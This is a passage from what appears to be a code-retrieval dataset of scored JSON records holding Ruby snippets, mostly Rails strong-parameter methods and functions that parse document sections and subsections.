:invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.5977431", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "4d77abbae6d3557081c88dad60c735d0", "score": "0.597591", "text": "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "title": "" }, { "docid": "55d8ddbada3cd083b5328c1b41694282", "score": "0.5968824", "text": "def params_permit\n params.permit(:id)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.5965953", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.59647584", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.59647584", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "4e758c3a3572d7cdd76c8e68fed567e0", "score": "0.59566855", "text": "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "title": "" }, { "docid": "3154b9c9e3cd7f0b297f900f73df5d83", "score": "0.59506303", "text": "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "title": "" }, { "docid": "b48f61fbb31be4114df234fa7b166587", "score": "0.5950375", "text": "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "title": "" }, { "docid": "c4802950f28649fdaed7f35882118f20", "score": "0.59485626", "text": "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "5d64cb26ce1e82126dd5ec44e905341c", "score": "0.59440875", "text": "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.5930872", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "da4f66ce4e8c9997953249c3ff03114e", "score": "0.5930206", "text": "def argument_params\n params.require(:argument).permit(:name)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.5925668", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.59235454", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "be01bb66d94aef3c355e139205253351", "score": "0.5917905", "text": "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.59164816", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "d6bf948034a6c8adc660df172dd7ec6e", "score": "0.5913821", "text": "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "title": "" }, { "docid": "eb5b91d56901f0f20f58d574d155c0e6", "score": "0.59128743", "text": "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "title": "" }, { "docid": "c6a96927a6fdc0d2db944c79d520cd99", "score": "0.5906617", "text": "def parameters\n nil\n end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.59053683", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "a743e25503f1cc85a98a35edce120055", "score": "0.59052664", "text": "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "title": "" }, { "docid": "533048be574efe2ed1b3c3c83a25d689", "score": "0.5901591", "text": "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "title": "" }, { "docid": "02a61b27f286a50802d652930fee6782", "score": "0.58987755", "text": "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.5897456", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "238705c4afebc0ee201cc51adddec10a", "score": "0.58970183", "text": "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.58942604", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" } ]
c62684c01901641168ea2f57a2b7532a
Scans the content array for subsection nodes
[ { "docid": "e71da774e4af0a05a69cdad37f708112", "score": "0.7917669", "text": "def scan_for_sub_sections\n\t\t\tif @content.nil? || @content.size < 1 then\n\t\t\t\treturn -1\n\t\t\tend\n\t\t\t\n\t\t\t@content.each do |line|\n\t\t\t\tmatchdata = REPEATABLE_SECTION.match line\n\t\t\t\tsubsection = []\n\t\t\t\tsubsection_found = 0\n\t\t\t\t\n\t\t\t\tif matchdata.nil? || matchdata.size < 1 then\n\t\t\t\t\tsubsection << line\n\t\t\t\telse\n\t\t\t\t\t#Initializes children array if necessary\n\t\t\t\t\tif @children.nil? then\n\t\t\t\t\t\t@children = {}\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tcaptures = matchdata.names\n\t\t\t\t\tif !captures.nil? && captures.size > 1 then\n\t\t\t\t\t\tbegin_or_end = matchdata['begin_or_end']\n\t\t\t\t\t\tsection_name = matchdata['section_name']\n\t\t\t\t\t\t\n\t\t\t\t\t\t#If found a begin tag, and haven't found one previously\n\t\t\t\t\t\tif begin_or_end == 'begin' && subsection_found == 0 then\n\t\t\t\t\t\t\tsubsection = []\n\t\t\t\t\t\t\tsubsection_found = 1\n\t\t\t\t\t\t\tsubsection_name = section_name\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tsubsection << line\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t#If found an end tag after a begin tag belonging to the correct subsection name\n\t\t\t\t\t\tif begin_or_end == 'end' && subsection_found > 0 && subsection_name == section_name then\n\t\t\t\t\t\t\t@children[section_name] = SectionNode.new(subsection)\n\t\t\t\t\t\t\tsubsection_found = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tsubsection << line\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" } ]
[ { "docid": "36cfd3fc50cd716a90b7c2876d0b9294", "score": "0.65939564", "text": "def subsections\n return suite.sections.select do |sect|\n sect.parent_id == data.id\n end\n end", "title": "" }, { "docid": "a3414a10599db594438e89c4959ffb0d", "score": "0.64714766", "text": "def getSubTreeContent ( node )\n @level += 1\n if @sectionNames.include?(node.name) then\n node.cdatas.each { |cdata|\n @combinedContent << \"<p>#{cdata}</p>\"\n }\n end\n node.elements.each { |child|\n getSubTreeContent ( child )\n }\n @level -= 1\n end", "title": "" }, { "docid": "66bc6325c92a9339d751cc669eb96a75", "score": "0.6084487", "text": "def collect_subpages_for_page2(data)\n stack, subpages = [], []\n stack << data\n begin\n element = stack.shift\n element.each do |e| \n if e.kind_of?(Hash)\n stack << e[:content]\n elsif e.kind_of?(String)\n next if e.nil? or e.empty?\n e.gsub(/\\\\input\\{/) do |c| \n filename = e.match(/\\\\input\\{([^}]+)\\}/).to_s\n subpages << filename[(filename.index(\"/\")+1)...-1]\n \"\"\n end \n else \n raise \"got something unexpected in raw structure: #{e}\"\n end\n end \n end while !stack.empty?\n return subpages\nend", "title": "" }, { "docid": "bbc268b58e7fc81a2b0edf380c852506", "score": "0.6074181", "text": "def generate_from(map)\n\t\t\n\t\t\tif @content.nil? || @content.length < 1 then\n\t\t\t\treturn []\n\t\t\tend\n\t\t\t\n\t\t\tif map.nil? || map.size < 1 then\n\t\t\t\treturn @content\n\t\t\tend\n\t\t\t\n\t\t\toutput = []\n\t\t\t\n\t\t\t@content.each do |line|\n\t\t\t\t#Handle subsections\n\t\t\t\tmatchdata = REPEATABLE_SECTION.match line\n\t\t\t\tsubsection_found = 0\n\t\t\t\tsubsection_data = {}\n\t\t\t\t\n\t\t\t\t#Found a subsection marker\n\t\t\t\tif !matchdata.nil? && matchdata.size > 0 then\n\t\t\t\t\tkeys = matchdata.names\n\t\t\t\t\tif !keys.nil? && keys.length > 1 then\n\t\t\t\t\t\tbegin_or_end = matchdata['begin_or_end']\n\t\t\t\t\t\tsection_name = matchdata['section_name']\n\t\t\t\t\t\tsection_source = matchdata['section_source']\n\t\t\t\t\t\t\n\t\t\t\t\t\tsubsection_data = map[section_source]\n\t\t\t\t\t\t\n\t\t\t\t\t\t#If found a begin tag, and haven't found one previously\n\t\t\t\t\t\tif begin_or_end == 'begin' && subsection_found == 0 then\n\t\t\t\t\t\t\t#Retrieve the corresponding subsection data\n\t\t\t\t\t\t\tsubsection = @children[section_name]\n\t\t\t\t\t\t\tsubsection_found = 1\n\t\t\t\t\t\t\tsubsection_name = section_name\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t#If found an end tag after a begin tag belonging to the correct subsection name\n\t\t\t\t\t\tif begin_or_end == 'end' && subsection_found > 0 && subsection_name == section_name then\n\t\t\t\t\t\t\t#Recursively generate subsections\n\t\t\t\t\t\t\toutput += subsection.generate_from map\n\t\t\t\t\t\t\tsubsection_found = 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\t#If not currently working on a subsection\n\t\t\t\t\tif subsection_found = 0 then\n\t\t\t\t\t\t#Handle value substitution\n\t\t\t\t\t\tmatchdata = DEFAULT_PLACEHOLDER_REGEX.match line\n\t\t\t\t\t\tif matchdata.nil? then\n\t\t\t\t\t\t\t#Not a match --> normal template line\n\t\t\t\t\t\t\toutput << line\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t#Match found --> Substitute values into the line\n\t\t\t\t\t\t\ttemp_line = line\n\t\t\t\t\t\t\tkeys = matchdata.names\n\t\t\t\t\t\t\tkeys.each do |key|\n\t\t\t\t\t\t\t\tif subsection_data.key? key then\n\t\t\t\t\t\t\t\t\t#Substitutes each key into the line\n\t\t\t\t\t\t\t\t\ttemp_line.sub!(DEFAULT_PLACEHOLDER_REGEX, subsection_data[key])\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t#Output the line\n\t\t\t\t\t\t\toutput << temp_line\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend #content loop\n\t\t\t\n\t\t\treturn output\n\t\tend", "title": "" }, { "docid": "a6df7d74cad1f231462667a72a53cd26", "score": "0.602613", "text": "def collect_subpages_for_page(data)\n stack, subpages = [], []\n stack << data\n begin\n element = stack.shift\n element.each do |e| \n if e.kind_of?(Hash)\n stack << e[:content]\n elsif e.kind_of?(String)\n next if e.nil? or e.empty?\n flag = false\n e.gsub(/\\\\newpage\\\\begin\\{bibunit\\}\\\\input\\{/) do |c| \n filename = e.match(/\\\\input\\{([^}]+)\\}/).to_s\n subpages << filename[(filename.index(\"/\")+1)...-1]\n flag = true\n \"\"\n end \n if !flag\n e.gsub(/\\\\input\\{/) do |c| \n filename = e.match(/\\\\input\\{([^}]+)\\}/).to_s\n subpages << filename[(filename.index(\"/\")+1)...-1]\n \"\"\n end\n end\n else \n raise \"got something unexpected in raw structure: #{e}\"\n end\n end \n end while !stack.empty?\n return subpages\nend", "title": "" }, { "docid": "e63e2c097966a4047efc2fdd7be267f4", "score": "0.598092", "text": "def create_subitems\n if parsed_xml && parsed_xml.respond_to?(:sections)\n parsed_xml.sections.collect do |section_xml|\n Section.from_xml(section_xml, self)\n end\n end\n end", "title": "" }, { "docid": "e63e2c097966a4047efc2fdd7be267f4", "score": "0.598092", "text": "def create_subitems\n if parsed_xml && parsed_xml.respond_to?(:sections)\n parsed_xml.sections.collect do |section_xml|\n Section.from_xml(section_xml, self)\n end\n end\n end", "title": "" }, { "docid": "74b7119073641a492fdf0b3cb7e7b854", "score": "0.59186697", "text": "def subsections\n Section.where(parent_id: id)\n end", "title": "" }, { "docid": "2825883c79347806ff1b710bf7fde463", "score": "0.5901343", "text": "def sections\n children.select { |child| child.is_a? DocumentSection }\n end", "title": "" }, { "docid": "421a3e0db6920684e9f89784f5fb2bfa", "score": "0.5896799", "text": "def general_process_file(lines)\n data = []\n chap, sec, subsec, subsubsec = false, false, false, false\n lines.each do |raw_line|\n line = raw_line.strip\n if starts_with?(line, \"\\\\chapter\")\n node = {}\n node[:chapter] = get_data_in_brackets(line)\n node[:content] = []\n data << node\n chap = true\n elsif starts_with?(line, \"\\\\section\")\n sec, subsec, subsubsec = true, false, false\n node = {}\n node[:section] = get_data_in_brackets(line)\n node[:content] = [] \n ((chap) ? data.last[:content] : data) << node\n elsif starts_with?(line, \"\\\\subsection\")\n subsec, subsubsec = true, false\n node = {}\n node[:subsec] = get_data_in_brackets(line)\n node[:content] = []\n # puts line\n # puts data.last[:content].inspect\n ((chap) ? data.last[:content].last[:content] : data.last[:content]) << node\n elsif starts_with?(line, \"\\\\subsubsection\")\n subsubsec = true\n node = {}\n node[:subsubsec] = get_data_in_brackets(line)\n node[:content] = []\n ((chap) ? data.last[:content].last[:content].last[:content] : data.last[:content].last[:content]) << node\n else\n # we just have a line (store the raw line)\n if subsubsec\n ((chap) ? data.last[:content].last[:content].last[:content].last[:content] : data.last[:content].last[:content].last[:content]) << raw_line\n elsif subsec\n ((chap) ? data.last[:content].last[:content].last[:content] : data.last[:content].last[:content]) << raw_line\n elsif sec\n ((chap) ? data.last[:content].last[:content] : data.last[:content]) << raw_line\n elsif chap\n data.last[:content] << raw_line\n else\n raise \"got line and not in a known section type: #{line}\"\n end\n end\n end\n return data\nend", "title": "" }, { "docid": "3d5352d94e51015d5d4420e6f08007f9", "score": "0.579366", "text": "def sections\n @body.xpath('.//a:section', a: NS)\n end", "title": "" }, { "docid": "2fed9170e3aa7580420bfe2dec0856a0", "score": "0.5782801", "text": "def sub_items\n elems\n end", "title": "" }, { "docid": "b7e66c235e84d908c3d705f8685861fb", "score": "0.57417023", "text": "def process_objects_section(parent_section, layout, objects)\n return if objects.nil?\n\n section_list = []\n objects.each_with_index do |object, i|\n section_list += object.sections(layout, parent_section, first_object: i.zero?, object_index: i)\n end\n section_list\n end", "title": "" }, { "docid": "32c151ed8546b42befb5735c21b1a575", "score": "0.57160836", "text": "def process_section(n, level, out) \n n.children.each do |c| \n case c.name\n when \"section\", \"span\", \"div\"\n process_section(c, level+1, out) # since ipynb is flat, we need to recurse on sections \n when \"h1\", \"h2\", \"h3\", \"h4\", \"h4\", \"h5\", \"h6\"\n out << {\n \"cell_type\" => \"heading\",\n \"level\" => level,\n \"metadata\" => {}, \n \"source\" => c.text\n }\n when \"pre\", \"code\"\n # test for the code type. If it's not python, then insert the \n # appropriate cell magics\n listing = c.text\n code_type = c.attributes[\"data-code-language\"] || \"python\"\n if code_type != \"python\"\n listing = \"%%#{code_type}\\n#{listing}\"\n end\n out << { \n \"cell_type\" => \"code\",\n \"collapsed\" => false,\n \"input\" => listing, \n \"language\" => code_type,\n \"metadata\" => {}, \n \"outputs\" => []\n }\n else\n out << { \n \"cell_type\" => \"markdown\",\n \"metadata\" => {}, \n \"source\" => c.to_s\n }\n end\n end \n return out\n end", "title": "" }, { "docid": "fb56d2e98cbb59ef8794b6fe2b9702be", "score": "0.56857985", "text": "def find_toc_sections(section, section_xpath, title_level=1)\n return {} unless section.xpath(section_xpath)\n\n # For each section found call the find_toc_sections on it with an\n # increased header level (ex: h1 => h2) and then generate the hash res\n sections = section.xpath(section_xpath).map do |subsection|\n header = subsection.css(\"h1, h2, h3, h4, h5, h6\").first\n sub_id = subsection['id']\n sub_title = header ? header.inner_html : 'untitled'\n subsections = {}\n\n if subsection.xpath(\"#{section_xpath}\") && title_level <= 6\n subsections = find_toc_sections(subsection, \"#{section_xpath}\", title_level+1)\n end\n { :title => sub_title, :link => '#' + sub_id, :subsections => subsections }\n end\n end", "title": "" }, { "docid": "e8b2919d9b622404b320ce25b405bc1a", "score": "0.5665395", "text": "def subnodes\n Array(args)\n end", "title": "" }, { "docid": "b790cbfd0a3b369ed6a8b35b72cdcbf4", "score": "0.56606317", "text": "def content\n @nodes.map { |node| parse_sub_node(node) }.compact\n end", "title": "" }, { "docid": "0f3bbc06a12f5f08ed333b03253804cc", "score": "0.56136173", "text": "def build_section_html(tree, node, section_hash, special_context = nil)\n #\n return '' if special_context.present? && !node.valid_context?(special_context)\n return '' unless node.is_enabled?\n subpieces = \"\"\n unless node.leaf?\n subnodes = tree.select{|n| n.parent_id==node.id}\n for child in subnodes\n next unless child.is_enabled?\n subpiece = build_section_html(tree, child, section_hash, special_context)\n subpieces.concat(subpiece)\n end\n end\n piece = node.section.build_html\n # replace ~~selectors~~ with ex. 's_112_2 c_111'\n unless node.root?\n offline_css = \"s_#{node.id}_#{node.section_id} c_#{node.parent_id} #{node.get_css_class}\"\n if node.has_extra_selector?\n piece.sub!('~~selector~~', \"#{offline_css} <%=@template.get_css_classes %>\")\n else\n piece.sub!('~~selector~~', offline_css)\n end\n #if node.content_css_class.present?\n # piece.sub!(/\\bcontent_css_class_placeholder/, node.content_css_class)\n #end\n end\n # if node.root?\n # piece.insert(0,init_vars)\n # end\n # select current page_layout at end of subpieces, pagination required, data_souce_param is on current page_layout\n subpieces << get_section_script(node) if subpieces.present?\n\n #piece may contain several ~~content~~, the deepest one is first.\n if(pos = (piece=~/~~content~~/))\n if node.data_source.present? #node.data_source.singularize\n case node.current_data_source\n # var_collection has to vary in name, may be nested.\n # data_source, data_item is for column index computing.\n when DataSourceEnum.gpvs, DataSourceEnum.this_product, DataSourceEnum.gpvs_theme\n # for this_product, we have to wrapped with form, or option_value radio would not work.\n form_enabled = node.get_content_param_by_key( :form_enabled )\n remote_form_enabled = node.get_content_param_by_key( :remote_form_enabled )\n if remote_form_enabled\n form_start = '<%= form_for :order, url: populate_orders_path, remote: true do |f| %>'\n form_end = '<% end %>'\n elsif form_enabled\n form_start = '<%= form_for :order, url: populate_orders_path do |f| %>'\n form_end = '<% end %>'\n else\n form_start = form_end =nil\n end\n # once data_source retrieved, we should use context :site1_themes to support product_property.property.presentation\n subpieces = <<-EOS1\n <% @template.running_data_source= @template.products( (defined?(page) ? page : @current_page) ) %>\n <% @template.running_data_source.each(){|product| @template.running_data_item = product %>\n #{form_start}\n #{subpieces}\n #{form_end}\n <% } %>\n #{get_pagination(node)}\n <% @template.running_data_source = nil %>\n EOS1\n #set var_collection to nil, or render pagination more times\n when DataSourceEnum.related_products\n subpieces = <<-EOS1\n <% @template.running_data_source= @template.related_products( ) %>\n <% @template.running_data_source.each(){|product| @template.running_data_item = product %>\n #{subpieces}\n <% } %>\n #{get_pagination(node)}\n <% @template.running_data_source = nil %>\n EOS1\n\n when DataSourceEnum.blog, DataSourceEnum.post\n subpieces = <<-EOS1\n <% @template.running_data_source= @template.posts( (defined?(page) ? page : @current_page) ) %>\n <% @template.running_data_source.each{|post| @template.running_data_item = post %>\n #{subpieces}\n <% } %>\n #{get_pagination(node)}\n <% @template.running_data_source = nil %>\n EOS1\n #when DataSourceEnum.related_posts\n # subpieces = <<-EOS1\n # <% @template.running_data_source= @template.related_posts( (defined?(page) ? page : @current_page) ) %>\n # <% @template.running_data_source.each{|post| @template.running_data_item = post %>\n # #{subpieces}\n # <% } %>\n # <% @template.running_data_source = nil %>\n # EOS1\n when DataSourceEnum.taxonomy\n #assigned menu could be root or node\n subpieces = <<-EOS3\n <% if @template.menu.present? %>\n <% if @template.menu.root? %>\n <% @template.running_data_source= @template.menu.children %>\n <% @template.running_data_source.each{|page| @template.running_data_item = page %> #{subpieces} <%}%>\n <% @template.running_data_source = nil %>\n <% else %>\n <% @template.running_data_source= @template.menu %>\n <% @template.running_data_source.tap{|page| @template.running_data_item = page %> #{subpieces} <%}%>\n <% @template.running_data_source = nil %>\n <% end %>\n <% end %>\n EOS3\n when DataSourceEnum.taxon\n #assigned node, could be root\n subpieces = <<-EOS6\n <% if @template.menu.present? %>\n <% @template.running_data_source= @template.menu %>\n <% @template.running_data_source.tap{|page| @template.running_data_item = page %> #{subpieces} <%}%>\n <% @template.running_data_source = nil %>\n <% end %>\n EOS6\n when DataSourceEnum.related_taxon\n #assigned node, could be root\n subpieces = <<-EOS7\n <% @template.running_data_source= @template.related_taxon%>\n <% @template.running_data_source.each{|page| @template.running_data_item = page %> #{subpieces} <%}%>\n <% @template.running_data_source = nil %>\n EOS7\n end\n end\n # we recovery template.select after ~~content~~\n piece.insert(pos,subpieces)\n end\n\n if node.section_context.present?\n # should set current page_layout before do valid_context.\n piece = <<-EOS2\n <% if @current_page.valid_context? %>\n #{piece}\n <% end %>\n EOS2\n end\n\n piece = \"#{get_section_script(node)} #{piece} \"\n\n # remove ~~content~~ however, node could be a container.\n # in section.build_html, ~~content~~ have not removed.\n # there could be more than one ~~content~~, use gsub!\n piece.gsub!(/~~content~~/,'')\n piece\n end", "title": "" }, { "docid": "8fefdd6a3b94e6906c6b6329fc1d48e5", "score": "0.5600727", "text": "def parse_section(raw_section)\n case raw_section.length\n when 11 then [raw_section.slice!(0), parse_section(raw_section)].flatten\n when 7, 10 then [raw_section.slice!(0..2), parse_section(raw_section)].flatten\n else raw_section unless raw_section.empty?\n end\n end", "title": "" }, { "docid": "b90ead0e8d30de007796e96bfe15c718", "score": "0.55824244", "text": "def parse_sections(nodes)\n return {} if nodes.blank?\n\n # Keep track of what section we're in\n section = nil\n nodes.each_with_object({}) do |node, out|\n # Set up a fresh NodeSet for the current section if we haven't yet\n out[section] ||= Nokogiri::XML::NodeSet.new(page)\n # These nodes have a content but it are invisible\n node.css('script, style, iframe').each(&:remove)\n\n # Process the node\n if node.name == 'h2' || node['class'] == 'normal_header'\n section = node.xpath('./text()').map(&:content).join.strip\n else\n out[section] << node\n end\n end\n end", "title": "" }, { "docid": "8200ec54d8efa772b81c33698a90dbfe", "score": "0.5580122", "text": "def sectionArray(value)\n @sections = Array.new unless defined? @sections \n if value.is_a?(Array)\n value.each{|section| @sections << section}\n else\n @sections << value\n end\nend", "title": "" }, { "docid": "10147fae918217096b0c6f33ab6365ed", "score": "0.5573914", "text": "def sections(layout, parent_section = nil, first_object: false, object_index: nil)\n layout_print = send(layout)\n\n section_list = []\n\n # loop around each section rendering it in turn\n layout_print.each_with_index do |section, i|\n next if section.nil?\n\n Rails.logger.debug { \"Section #{section[:code]} Type #{section[:type]} Object Index: #{object_index}\" }\n next if skip_section(section, parent_section, object_index: object_index)\n\n section_list += process_section(layout, section, parent_section,\n (first_object && i.zero?), object_index: object_index)\n end\n section_list # return the section list\n end", "title": "" }, { "docid": "312bb78240bfa1b7445865ddab548183", "score": "0.55686104", "text": "def parse_toc\n @toc = []\n depth = 0\n \n l = lambda do |section|\n toc_items = []\n depth += 1\n section.xpath(@selectors[:toc_item]).each do |item|\n # Get item's anchor and href\n a = item.name == 'a' ? item : item.at('a')\n next if !a\n href = a['href']\n next if !href\n \n # Is this a leaf item or node? Title parsing depends on that.\n subsection = item.xpath(@selectors[:toc_section]).first\n if subsection\n # Item has subsection, use anchor text for title\n title = a.inner_text\n else\n # Leaf item, it is safe to glue inner_text from all children\n title = item.children.map{|c| c.inner_text }.join(' ')\n end\n title = title.gsub(/[\\r\\n]/, '').gsub(/\\s+/, ' ').strip\n log.debug \"-- #{\" \" * depth}#{title}\"\n \n # Parse subsection\n subitems = l.call(subsection) if subsection\n \n toc_items << TocItem.new(title, href, subitems, @document)\n end\n depth -= 1\n toc_items\n end\n\n log.debug \"-- Looking for TOC with #{@selectors[:toc]}\"\n toc_element = @doc.xpath(@selectors[:toc]).first\n \n if toc_element\n log.debug \"-- Found TOC, parsing items with #{@selectors[:toc_item]} and sections with #{@selectors[:toc_section]}\"\n @toc = l.call(toc_element)\n log.info \"Found TOC with #{@toc.size} top-level items\"\n else\n log.warn \"** Could not find document table of contents\"\n end\n end", "title": "" }, { "docid": "f7e8636ca6e6ead880ec2714d84a2355", "score": "0.554311", "text": "def process_section(layout, section_options, parent_section_options, use_parent_title, object_index: nil)\n # for table and object types get the list of objects\n # skip if there are none\n if %i[object table].include?(section_options[:type])\n objects = make_sure_array(send(section_options[:code]))\n\n return [] if objects.nil? || objects.count < 1 # we need to return an empty array not nil\n end\n\n if %i[list table].include?(section_options[:type])\n # always return an array so wrap this in an array\n parent_section_options[:use_parent_title] = use_parent_title unless parent_section_options.nil?\n [SectionData.new(self, section_options, objects, parent_section_options, object_index: object_index)]\n else # object\n process_objects_section(replace_section_name(section_options), layout, objects)\n end\n end", "title": "" }, { "docid": "465e8ef31ad4ec8900613635bd8dddc2", "score": "0.55305475", "text": "def find_sections(mime, content)\n case mime.to_s\n when %r{^text/x-(creole|mediawiki)$}\n find_sections_creole(content)\n when %r{^text/x-markdown}\n find_sections_atx(content)\n else\n raise \"Mime type #{mime} not supported by editsection filter\"\n end\n end", "title": "" }, { "docid": "8b6367b1199ee7dc85a2d6f9879c9e57", "score": "0.5524887", "text": "def sections\n @pages.collect { |p| p.sections }.flatten\n end", "title": "" }, { "docid": "f4aa08315c8fc8136e6a3b9ba74fb807", "score": "0.5507275", "text": "def find_sections_creole(content)\n find_sections_regexp(content, /((\\A|\\s*\\n)=+(.*?))=*\\s*$/)\n end", "title": "" }, { "docid": "cc61e106b3772e7f54ebbd624f23446b", "score": "0.5492887", "text": "def section_contents\n used_sections = {}\n\n each_method do |method|\n next unless method.display?\n\n used_sections[method.section] = true\n end\n\n # order found sections\n sections = sort_sections.select do |section|\n used_sections[section]\n end\n\n # only the default section is used\n return [] if\n sections.length == 1 and not sections.first.title\n\n sections\n end", "title": "" }, { "docid": "910ee6a05e531e1be46c96b02f84eb05", "score": "0.5472953", "text": "def rraw(v, sec)\n sec = Array.new if ! filled? sec\n h = Hash.new\n $doc.xpath(v).each do |n|\n h = {:t=>to_html(n['titulo']), :st=>to_html(n['subtitulo']), :c=>to_html(n.content)} \n sec.push(h)\n end\n return sec\nend", "title": "" }, { "docid": "88b84a4b3c61a4d97808953e537cf154", "score": "0.5466946", "text": "def list_sections\n \n end", "title": "" }, { "docid": "eccf220d1e2e3314f837b66b7e58d7f2", "score": "0.54430693", "text": "def subsections_ordered_by_position\n subsections_ordered_by(:position)\n end", "title": "" }, { "docid": "1872023cd8996dc1801b300549ce653d", "score": "0.539662", "text": "def collectd_section(key, content, level = 0)\n return '' if content.nil? || content.empty?\n\n output = []\n case key\n when String, Symbol\n output << indent_str(\"<#{collectd_key(key)}>\", level)\n output << indent_str(content, level + 1)\n output << indent_str(\"</#{collectd_key(key)}>\", level)\n when Array\n output << indent_str(\"<#{collectd_key(key[0])} #{collectd_value(key[1])}>\", level)\n output << indent_str(content, level + 1)\n output << indent_str(\"</#{collectd_key(key[0])}>\", level)\n end\n output.join(\"\\n\")\n end", "title": "" }, { "docid": "71a79e41228d357ce149cc9226a10ec3", "score": "0.5357276", "text": "def page_items\n sections.map(&:page_items).flatten\n end", "title": "" }, { "docid": "e78c1e9e9dc6c80b91ac1ed5dec39870", "score": "0.5345408", "text": "def find_sections_atx(content)\n find_sections_regexp(content, /((\\A|\\s*\\n)#+(.*))$/)\n end", "title": "" }, { "docid": "04fd947fcf56569da63dc508c694d5de", "score": "0.53341883", "text": "def handle_sectioning(elements)\n \t\t\tsections = []\n \t\t\tsection_stack = []\n\n \t\t\telements.each do |el|\n insert_element(el, sections, section_stack)\n \t\t\tend\n\n \t\t\treturn sections\n \t\tend", "title": "" }, { "docid": "967d51d5156d8f10c9c9a3cc33d6b9b1", "score": "0.5289715", "text": "def children_of_the_array(array, source)\n retval = array.select{ |a| a if a[\"source\"] == source or a[\"source\"].include?(source)}.map{ |a| { \"name\" => a[\"name\"],\n \"type\" => a[\"type\"],\n \"id\" => a[\"id\"],\n \"children\" => [] } }\n retval.each do |children|\n children[\"children\"] = children_of_the_array(array, children[\"id\"])\n end\n return retval\n end", "title": "" }, { "docid": "72465be45e06394e834b25c24786af99", "score": "0.5244011", "text": "def parse!(content)\n @children = []\n @content = ''\n\n # Parse all direct children and create new markdown objects\n sections = Section.generate_sections(content)\n\n # No children!\n if sections.empty?\n @content = content\n return\n end\n\n # Populate content prior to found headers\n @content = content[0..sections.first.header_location.begin - 1] if sections.first.header_location.begin > 0\n\n parse_children!(sections)\n end", "title": "" }, { "docid": "38ed0ead775751f0105d1fa416335fc4", "score": "0.52384454", "text": "def sub_elements\n r = 